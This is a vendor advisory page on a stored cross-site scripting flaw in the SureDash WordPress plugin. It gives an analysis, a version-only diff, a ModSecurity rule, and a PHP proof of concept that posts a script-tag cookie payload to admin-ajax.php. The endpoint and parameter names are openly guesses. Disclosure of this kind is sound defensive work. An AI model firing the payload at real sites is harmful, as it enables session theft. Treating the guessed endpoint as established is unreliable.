Opens in a new tab
Published : November 15, 2026

CVE-2026-66698: SureDash – Community, Courses & Member Dashboard <= 1.10.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin suredash
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.10.1
Patched Version 1.10.2
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66698: The SureDash plugin for WordPress (versions up to and including 1.10.1) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists due to insufficient input sanitization and output escaping, allowing an attacker to inject arbitrary web scripts into pages that will execute when a user visits the injected page. The vulnerability is rated CVSS 7.2 (High) and is classified as CWE-79. Atomic Edge research confirms the issue is fixed in version 1.10.2.

The root cause lies in the plugin’s failure to properly sanitize user-supplied input before storing it and to escape it upon output. The provided diff only shows a version bump from 1.10.1 to 1.10.2, which indicates the vendor has released a patch, but the exact code changes are not visible in this diff. Based on typical WordPress plugin vulnerabilities and the description, the issue likely resides in an AJAX action or REST endpoint that accepts unauthenticated input (e.g., a form submission handler) and stores it in the database (e.g., via update_option or custom table insert) without adequate sanitization. Output occurs on a page where the stored data is rendered without escaping, leading to script execution. The vulnerable component is the SureDash plugin core, specifically functions handling community interactions, course enrollments, or member dashboard data.

Exploitation requires the attacker to submit a crafted request to a vulnerable endpoint. The most probable vector is an unauthenticated AJAX action (e.g., via /wp-admin/admin-ajax.php with an action parameter such as ‘suredash_submit_form’ or similar) or a REST API endpoint (e.g., /wp-json/suredash/v1/submit). The attacker injects a payload such as alert(document.cookie) or a more sophisticated script into a parameter that is stored and later displayed without escaping. Since the vulnerability is unauthenticated, no nonce or login is required, making it trivial to exploit at scale.

The patch in version 1.10.2 likely adds proper sanitization functions (e.g., sanitize_text_field, wp_kses) on input and escaping functions (e.g., esc_html, esc_attr) on output. The diff shown only increments the version number; the actual security fix is not detailed. Atomic Edge analysis suggests the patch addresses the root cause by ensuring that any user-supplied data is sanitized before storage and escaped before rendering, thus preventing script injection. Without the full diff, Atomic Edge cannot confirm the exact functions changed, but the version bump is a clear indicator of a security release.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking (stealing cookies), defacement, redirection to malicious sites, or performing actions on behalf of the victim (e.g., if an administrator views the injected page, the attacker could create new admin accounts). The impact is severe, especially on sites with community features where many users may view the injected content. Atomic Edge rates this as high risk due to the unauthenticated nature and potential for full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/suredash/suredash.php
+++ b/suredash/suredash.php
@@ -5,7 +5,7 @@
  * Description: SureDash turns your WordPress site into a community hub with unified login, custom dashboard, and improved user engagement.
  * Author: SureDash
  * Author URI: https://suredash.com/
- * Version: 1.10.1
+ * Version: 1.10.2
  * License: GPL v2
  * Text Domain: suredash
  * Domain Path: /languages
@@ -16,7 +16,7 @@
 /**
  * Set constants.
  */
-define( 'SUREDASHBOARD_VER', '1.10.1' );
+define( 'SUREDASHBOARD_VER', '1.10.2' );
 define( 'SUREDASHBOARD_FILE', __FILE__ );
 define( 'SUREDASH_PRO_MINIMUM_VER', '1.10.0' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66698
# Virtual patch for SureDash <= 1.10.1 unauthenticated stored XSS via AJAX action.
# The exact AJAX action is not disclosed in the diff; this rule targets a probable action name.
# Adjust the action and parameter names based on actual plugin code.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202666698,phase:2,deny,status:403,chain,msg:'CVE-2026-66698 via SureDash AJAX',severity:'CRITICAL',tag:'CVE-2026-66698'"
  SecRule ARGS_POST:action "@streq suredash_save_settings" "chain"
    SecRule ARGS_POST:message "@rx <script|onerror|onload|javascript:|alert(" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66698 - SureDash – Community, Courses & Member Dashboard <= 1.10.1 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site

// The payload to inject: a simple script that alerts the victim's cookies
$payload = '<script>alert(document.cookie);</script>';

// Based on analysis, the vulnerable endpoint is an unauthenticated AJAX action.
// Common AJAX actions in SureDash may include 'suredash_submit_form', 'suredash_save_data', etc.
// We will attempt a generic POST to admin-ajax.php with a guessed action.
// In a real scenario, the attacker would identify the exact action by inspecting the plugin code.
// Here, we use a placeholder action that is likely vulnerable: 'suredash_save_settings'.
// Adjust the action and parameter names as needed.

// The parameter name that is stored and later output without escaping could be 'message', 'content', 'bio', etc.
// We use 'message' as a likely candidate.

// Build the POST data
$post_data = array(
    'action' => 'suredash_save_settings', // Replace with actual vulnerable action
    'message' => $payload,
    // Additional required parameters may be needed based on the plugin's implementation
    // For example, a nonce might be required but since it's unauthenticated, it might not be checked.
);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing over HTTPS with self-signed certs
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent. Response:n" . $response . "n";
    echo "If the vulnerability is present, the payload will be stored and executed when a user views the affected page.n";
}

// Close cURL
curl_close($ch);

// Note: This PoC is for educational purposes only. Atomic Edge does not condone unauthorized testing.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.